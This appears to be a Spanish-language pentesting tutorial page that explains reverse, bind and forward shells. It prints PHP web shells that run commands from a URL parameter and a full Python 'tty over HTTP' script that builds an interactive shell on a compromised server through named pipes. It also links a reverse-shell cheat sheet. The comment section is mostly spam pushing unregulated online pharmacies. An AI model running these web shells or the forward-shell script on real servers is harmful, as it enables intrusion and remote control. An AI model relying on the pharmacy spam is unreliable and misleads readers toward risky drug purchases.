Reverse shell, Bind shell y Foward shell

En esta clase, veremos las diferencias entre Reverse Shell, Bind Shell y Forward Shell:

Reverse Shell: Es una técnica que permite a un atacante conectarse a una máquina remota desde una máquina de su propiedad. Es decir, se establece una conexión desde la máquina comprometida hacia la máquina del atacante. Esto se logra ejecutando un programa malicioso o una instrucción específica en la máquina remota que establece la conexión de vuelta hacia la máquina del atacante, permitiéndole tomar el control de la máquina remota.


Bind Shell: Esta técnica es el opuesto de la Reverse Shell, ya que en lugar de que la máquina comprometida se conecte a la máquina del atacante, es el atacante quien se conecta a la máquina comprometida. El atacante escucha en un puerto determinado y la máquina comprometida acepta la conexión entrante en ese puerto. El atacante luego tiene acceso por consola a la máquina comprometida, lo que le permite tomar el control de la misma.


Forward Shell: Esta técnica se utiliza cuando no se pueden establecer conexiones Reverse o Bind debido a reglas de Firewall implementadas en la red. Se logra mediante el uso de mkfifo, que crea un archivo FIFO (named pipe), que se utiliza como una especie de “consola simulada” interactiva a través de la cual el atacante puede operar en la máquina remota. En lugar de establecer una conexión directa, el atacante redirige el tráfico a través del archivo FIFO, lo que permite la comunicación bidireccional con la máquina remota.


Es importante entender las diferencias entre estas técnicas para poder determinar cuál es la mejor opción en función del escenario de ataque y las limitaciones de la red.

Código php para ejecutar comandos por url

<?
        echo "<pre>" . shell_exec($_GET['cmd']) . "</pre>";
?>

Script para obtener una tty después de obtener una reverse shell

Script /dev/null -c bash

TTYSobreHTTP

En ocasiones cuando comprometemos un servidor web, hay reglas configuradas ( Ej: iptables ) que nos impiden obtener una Reverse Shell vía Netcat, Python u otra utilidad.

Con esta herramienta, evitamos tener que hacer uso de un shell inverso para obtener un TTY posteriormente completamente interactivo. A través de archivos ‘ mkfifo ‘, jugamos para simular una TTY interactiva sobre HTTP, logrando manejarnos sobre el sistema cómodamente sin ningún tipo de problema.

Lo único que necesitamos, es subir al servidor comprometido una estructura PHP como la siguiente para ejecutar comandos:

<?php
	echo shell_exec($_REQUEST['cmd']);
?>

Una vez subido, simplemente ejecutamos el script (Es necesario cambiar la ruta en el script donde se ubica nuestro script PHP alojado en el servidor vulnerado).

Archivo tty_over_http.py

import requests, time, threading, pdb, signal, sys
from base64 import b64encode
from random import randrange

class AllTheReads(object):
	def __init__(self, interval=1):
		self.interval = interval
		thread = threading.Thread(target=self.run, args=())
		thread.daemon = True
		thread.start()

	def run(self):
		readoutput = """/bin/cat %s""" % (stdout)
		clearoutput = """echo '' > %s""" % (stdout)
		while True:
			output = RunCmd(readoutput)
			if output:
				RunCmd(clearoutput)
				print(output)
			time.sleep(self.interval)

def RunCmd(cmd):
	cmd = cmd.encode('utf-8')
	cmd = b64encode(cmd).decode('utf-8')
	payload = {
        	'cmd' : 'echo "%s" | base64 -d | sh' %(cmd)
		}
	result = (requests.get('http://127.0.0.1/index.php', params=payload, timeout=5).text).strip()
	return result

def WriteCmd(cmd):
	cmd = cmd.encode('utf-8')
	cmd = b64encode(cmd).decode('utf-8')
	payload = {
		'cmd' : 'echo "%s" | base64 -d > %s' % (cmd, stdin)
	}
	result = (requests.get('http://127.0.0.1/index.php', params=payload, timeout=5).text).strip()
	return result

def ReadCmd():
        GetOutput = """/bin/cat %s""" % (stdout)
        output = RunCmd(GetOutput)
        return output

def SetupShell():
	NamedPipes = """mkfifo %s; tail -f %s | /bin/sh 2>&1 > %s""" % (stdin, stdin, stdout)
	try:
		RunCmd(NamedPipes)
	except:
		None
	return None

global stdin, stdout
session = randrange(1000, 9999)
stdin = "/dev/shm/input.%s" % (session)
stdout = "/dev/shm/output.%s" % (session)
erasestdin = """/bin/rm %s""" % (stdin)
erasestdout = """/bin/rm %s""" % (stdout)

SetupShell()

ReadingTheThings = AllTheReads()

def sig_handler(sig, frame):
	print("\n\n[*] Exiting...\n")
	print("[*] Removing files...\n")
	RunCmd(erasestdin)
	RunCmd(erasestdout)
	print("[*] All files have been deleted\n")
	sys.exit(0)

signal.signal(signal.SIGINT, sig_handler)

while True:
	cmd = input("> ")
	WriteCmd(cmd + "\n")
	time.sleep(1.1)

Bibliografia

https://github.com/s4vitar/ttyoverhttp/blob/master/tty_over_http.py

Recurso para con distintos lenguajes obtener reverse shell

https://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet

Publicaciones Similares

  • |

    NMAP, whatweb y otras herramientas de reconocimiento

    NMAP Nmap (Network Mapper) es una herramienta de código abierto utilizada para explorar redes y realizar auditorías de seguridad. Es comúnmente empleada por administradores de sistemas y profesionales de la seguridad para identificar dispositivos, servicios y posibles vulnerabilidades en una red. ¿Para qué se utiliza? Comandos y parámetros más habituales: Aquí tienes algunos de los…

  • | |

    Utilidades Linux

    Bat batcat (a menudo conocido simplemente como bat) es una alternativa mejorada al comando cat en Linux. Es una herramienta que no solo permite mostrar el contenido de archivos, como cat, sino que añade características útiles como: En resumen, batcat combina las funcionalidades de cat con mejoras visuales y de usabilidad que hacen más fácil…

  • Manual apache2

    Version Para verificar la versión de Apache en Linux, puedes utilizar los siguientes comandos en la terminal, dependiendo de la distribución que estés utilizando: Esto proporcionará la misma información sobre la versión de Apache. Para obtener detalles desde el administrador de paquetes (usando el comando apt): 2. En distribuciones basadas en RHEL/Fedora/CentOS (como Fedora, CentOS, AlmaLinux y Rocky Linux): Instalacion Con…

  • SQL Injection

    Que es SQL injection, explicamelo detalladamente en que consiste y las modalidades : basada en errores, tiempo, booleanos, uniones y stacked querys La SQL Injection (inyección SQL) es una técnica de ataque cibernético que explota vulnerabilidades en la forma en que una aplicación interactúa con su base de datos. Los atacantes insertan código SQL malicioso…

  • Bases de datos no relacionales

    MongoDB es una base de datos NoSQL que almacena datos en documentos JSON (BSON internamente). A diferencia de SQL, que utiliza tablas y filas, MongoDB utiliza colecciones y documentos. Aquí te explico cómo manejar las operaciones básicas en MongoDB con ejemplos. Comprobar si MongoDB está instalado Instalar MongoDB en Linux Si no tienes MongoDB instalado,…

  • |

    Optimización Recursos Sistema Linux

    Archivos de Configuración y Scripts Comunes en Bash: Aquí tienes algunos comandos y herramientas que te ayudarán a verificar el uso de recursos en tu servidor Linux: Comandos bash utiles Estos comandos te ayudarán a identificar qué procesos están consumiendo más recursos y si necesitas ajustar algo en tu servidor. Para comprobar la capacidad del…

2.198 comentarios

  1. В этом информативном тексте представлены захватывающие события и факты, которые заставят вас задуматься. Мы обращаем внимание на важные моменты, которые часто остаются незамеченными, и предлагаем новые перспективы на привычные вещи. Подготовьтесь к тому, чтобы быть поглощенным увлекательными рассказами!
    Подробнее можно узнать тут – https://vivod-iz-zapoya-1.ru/

  2. п»їJust now, I found a helpful article regarding buying affordable antibiotics. The site discusses CDSCO regulations on prescriptions. For those interested in reliable shipping to USA, take a look: п»їhttps://kisawyer.us.com/# indianpharmacy com. Good info.

  3. п»їActually, I found a useful page concerning Mexican Pharmacy standards. It details the safety protocols on prescriptions. For those interested in Trusted pharmacy sources, visit this link: п»їUpstate Medical. It helped me.

  4. п»їTo be honest, I discovered an informative report regarding Mexican Pharmacy standards. It details how to save money on prescriptions. In case you need Trusted pharmacy sources, go here: п»їhttps://polkcity.us.com/# mexico pharmacies. Hope it helps.

  5. п»їTo be honest, I found an interesting report about ordering meds from India. It explains WHO-GMP protocols for generic meds. If you are looking for cheaper alternatives, take a look: п»їhttps://kisawyer.us.com/# reputable indian online pharmacy. Cheers.

  6. п»їTo be honest, I discovered an informative report regarding Indian Pharmacy exports. It explains CDSCO regulations for ED medication. In case you need reliable shipping to USA, visit this link: п»їkisawyer.us.com. It helped me.

  7. п»їTo be honest, I came across an informative article about Indian Pharmacy exports. It details the manufacturing standards when buying antibiotics. In case you need cheaper alternatives, take a look: п»їkisawyer.us.com. Might be useful.

  8. п»їRecently, I discovered a helpful article regarding buying affordable antibiotics. The site discusses WHO-GMP protocols for generic meds. If anyone wants factory prices, check this out: п»їhttps://kisawyer.us.com/# indian pharmacy. It helped me.

  9. п»їRecently, I discovered a great report concerning safe pharmacy shipping. It explains how to save money for generic meds. For those interested in reliable shipping to USA, visit this link: п»їhttps://polkcity.us.com/# mexican medicine store. Cheers.

  10. п»їActually, I stumbled upon a useful report about Indian Pharmacy exports. The site discusses how to save money when buying antibiotics. If you are looking for reliable shipping to USA, take a look: п»їkisawyer.us.com. Cheers.

  11. п»їActually, I discovered a useful page concerning ordering meds from India. The site discusses CDSCO regulations when buying antibiotics. In case you need reliable shipping to USA, check this out: п»їhere. Hope it helps.

  12. I was wondering about safe Mexican pharmacies. I saw a cool post that compares best pharmacies: п»їhttps://polkcity.us.com/# mexican pharmacies that ship. Any thoughts?.

  13. п»їRecently, I came across a useful resource regarding cheap Indian generics. It covers how to save money for generic meds. If you are looking for Trusted Indian sources, go here: п»їhttps://kisawyer.us.com/# india pharmacy. It helped me.

  14. п»їTo be honest, I found an interesting report regarding Indian Pharmacy exports. It explains the manufacturing standards for ED medication. In case you need cheaper alternatives, visit this link: п»їhere. Worth a read.

  15. п»їRecently, I stumbled upon a great guide regarding cheap Indian generics. It details the manufacturing standards for ED medication. In case you need factory prices, go here: п»їhttps://kisawyer.us.com/# india pharmacy. It helped me.

  16. Heads up, a helpful guide on cross-border shipping rules. It breaks down quality control for ED meds. Source: п»їhttps://polkcity.us.com/# pharmacies in mexico.

  17. п»їActually, I discovered a useful resource about cheap Indian generics. The site discusses the manufacturing standards when buying antibiotics. For those interested in reliable shipping to USA, go here: п»їkisawyer.us.com. Cheers.

Deja una respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *